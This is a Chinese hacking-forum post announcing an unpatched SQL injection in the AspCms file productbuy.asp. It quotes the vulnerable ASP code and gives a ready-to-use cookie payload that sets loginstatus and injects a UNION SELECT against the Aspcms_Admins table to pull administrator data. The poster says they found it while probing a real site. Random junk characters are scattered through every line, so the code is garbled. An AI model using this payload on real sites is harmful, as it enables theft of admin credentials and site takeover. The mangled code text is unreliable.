好久没上土司了,上来一看发现在删号名单内..... R! K2 a T5 }. l# F5 W: h! h- {
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。4 E; Q" V2 G* N+ j' ? e) K
废话不多说,看代码:
) b: f4 F) d% c0 I0 S1 Y
& g: T, x/ H0 Q+ E, [) J: I8 Z* u<%- B) q8 a; E4 o% T; T1 x( G' [
3 J5 d, C, p& Z, _" P1 a! L
if action = "buy" then3 F9 M5 P. S+ R5 w0 ~( z# R! x
2 F! S* m) I: `9 V0 Z7 v
addOrder()
% R2 J2 }+ C8 v+ z
. Z& I1 T: L' x2 welse4 W# B- m/ j* {
' H& {/ C) t4 e1 g echoContent()
4 X" D7 `1 M) E ]
/ ~) k7 |. f4 H2 p {end if
4 K# F1 E. K* E. B' c( E+ N
( @9 v& v2 @0 a( Z) m: ^& R- C; y! M
% ^ p% |+ ~0 k& z2 |) M
……略过( O, y' n) s, u5 B, G
: n; O }% {. _& X9 R9 C
: |8 q2 Z9 X8 H
5 w. A# |* Y, n2 W* o, d: J2 T: bSub echoContent()
! }9 Z) T/ s: F% |, j- ~; z7 n5 M7 E& E; N
dim id/ i9 `5 b' s3 x, a
1 E) B e4 k: F
id=getForm("id","get")
4 H4 @& r4 F# I" f! L7 y2 i; Y4 Y6 u% b/ |: Y
* @! S$ L: V! S. L; b" B, ^$ E' I, r8 F
if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
9 k* ]: a' a; F1 j8 E; N. @! n7 W; z
8 \- P* O5 U" C) t
! M4 G' a8 |8 M/ F) f' {) I
2 ?( |, ?0 j- V5 H& o% p5 Y dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
8 F9 q+ c o: c% _. s# ~& {8 \' }, _* f$ W% S: p
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct6 ^) l/ ~: A5 Z5 o9 b; j9 w; t
! w* R0 y; ^( u, R
Dim templatePath,tempStr
# N% \* O9 i% e1 M5 O) G& ]
. ~5 C3 Q0 ]" q templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"1 [( z/ A* a8 j( N
4 i7 X2 [, ]/ r# b X7 Z |0 n0 S6 }+ [. d! {/ f' @- i
# _& U: t: z# J9 v' i5 `/ h, ? U
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")! m) h3 _( A' w& m% N
7 W+ l% n+ i& `; ~
selectproduct=rsObj(0)
% c. |; [5 a w- _" a9 B0 h5 s
8 h7 @; E5 Y6 G2 ~$ l2 I! O4 U, H : O' w. h$ A3 f/ |: M
$ ~5 x, e2 u" J3 m7 Z8 t o3 V2 x0 \
Dim linkman,gender,phone,mobile,email,qq,address,postcode5 N, G- d* H# Z
/ `" v1 _1 D: R# ]1 A5 m
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0$ g Q& s) j" ~5 {# Q! `. v
% ^& N. G+ L. q& y+ u if rCookie("loginstatus")=1 then
' n7 G6 l4 ~ }3 d* n0 d6 D* y4 R* e# F& @% a; \2 a
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
3 K8 B, W& W/ R$ V2 Y# i; b- E, b6 G! ?6 j# P3 O. f6 c- |6 j
linkman=rsObj("truename")
, N. V( I$ D: e6 G
4 M( J3 T, E" M- C, v9 L gender=rsObj("gender")
: f/ B4 V/ n% z$ F
6 X% e3 z' u( A phone=rsObj("phone")( `0 c: H: j; G: @1 I4 Z1 Z) H
: R# V, D- p% r( ~: o1 c" Y
mobile=rsObj("mobile")
+ N( V9 d& P" v& D% Q6 U
& r! G: j B) `% @1 { email=rsObj("email")8 z! i6 s7 Y+ D( r7 P: N, G
$ X" ^2 U* {9 B9 S9 M" N4 e qq=rsObj("qq")3 r& k; i# }2 g: ]5 ~/ q
) `5 s/ |3 y$ }1 d address=rsObj("address")
7 v0 [. F! I* e9 w' p7 s( w4 D
& S6 X8 Y: B, ]5 V8 V9 j" p postcode=rsObj("postcode")
9 m' s# {2 z' m9 J9 ^1 C$ a! p2 g+ o) |! A
else
5 Z) R+ t' N! N# o( ~3 M; B' P) @0 i
gender=1
6 V$ l) g4 j" e' H7 t: w
! ~1 o% d# }, r1 v) `; T end if8 J5 n! i# P' v9 r% E* _8 R/ H
( u1 ?& C5 L3 p3 h& _3 C/ L
rsObj.close()) R) c4 R: ? e, G% j
4 F8 K5 X' ~! u s$ A/ x
, |4 q9 u& }/ q& P- q6 Y n& d, S
) U6 h' }. H& V" x* [: a, t7 p& I5 \ with templateObj 6 _- A; S0 ]9 v9 o
5 [, P4 [+ C3 j2 u2 m# X$ Q! l
.content=loadFile(templatePath)
' J2 b6 N0 t, l" H! L# Y) p: `8 F: L, F9 l
.parseHtml()
0 @8 @" D* Q0 ~) G% }# k
0 j0 L w N6 O1 E .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)% R, n4 p. z% C" ]4 s
3 N7 x d6 X' P* n
.content=replaceStr(.content,"[aspcms:linkman]",linkman)
/ x% l( y$ C% q" T, U, a, j5 Q# q A0 y7 k) W
.content=replaceStr(.content,"[aspcms:gender]",gender)
& V/ M$ i9 \* H2 i; F! g! J2 Q, ~) X
.content=replaceStr(.content,"[aspcms:phone]",phone) 2 B0 |- v8 j0 ~
u7 r9 U' P2 G9 l, \8 t T
.content=replaceStr(.content,"[aspcms:mobile]",mobile) - Z! _, W& @+ R2 [: a5 B& Y1 q; G3 M3 K
9 B* i) M! j( _- x ~7 s- s: }* N7 G& g .content=replaceStr(.content,"[aspcms:email]",email) 5 m% {5 W' e: O. e& k
% t* n5 a7 h. l3 z2 v4 a# ]" a
.content=replaceStr(.content,"[aspcms:qq]",qq) ' l; F2 V9 q' \
5 X3 \* ~) G: Q" e: ?) j .content=replaceStr(.content,"[aspcms:address]",address)
6 Y1 M5 \. I) Z& E* j# J- ^3 `! |) ^$ p
.content=replaceStr(.content,"[aspcms:postcode]",postcode) & E0 w5 Q( w: u L# h) M
: ]# }4 u' ~* X
.parseCommon()
0 ~! Q$ N+ U g* W& G0 o, D* g( t' r& |6 f2 f
echo .content ! B4 b% b) J7 u7 [
* h- R& J5 ?4 K6 J end with
; l1 s5 F! l/ `* |/ I G" s; D+ U# _4 A H
set templateobj =nothing : terminateAllObjects
* F& |7 O. ?2 k: _2 Z1 f+ C0 W7 b" b
End Sub
# y+ |: k8 z& H- t/ [4 c* e漏洞很明显,没啥好说的, Z6 m, e: w+ |; T7 Z7 @
poc:( ?' y0 d8 c2 D& _( W$ l* e* V" ^8 \/ Q' Y
% H8 F* U9 S% J p: F
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子; ?+ l+ C; {! z1 C
. S) t9 [) V( G$ w$ ]# D |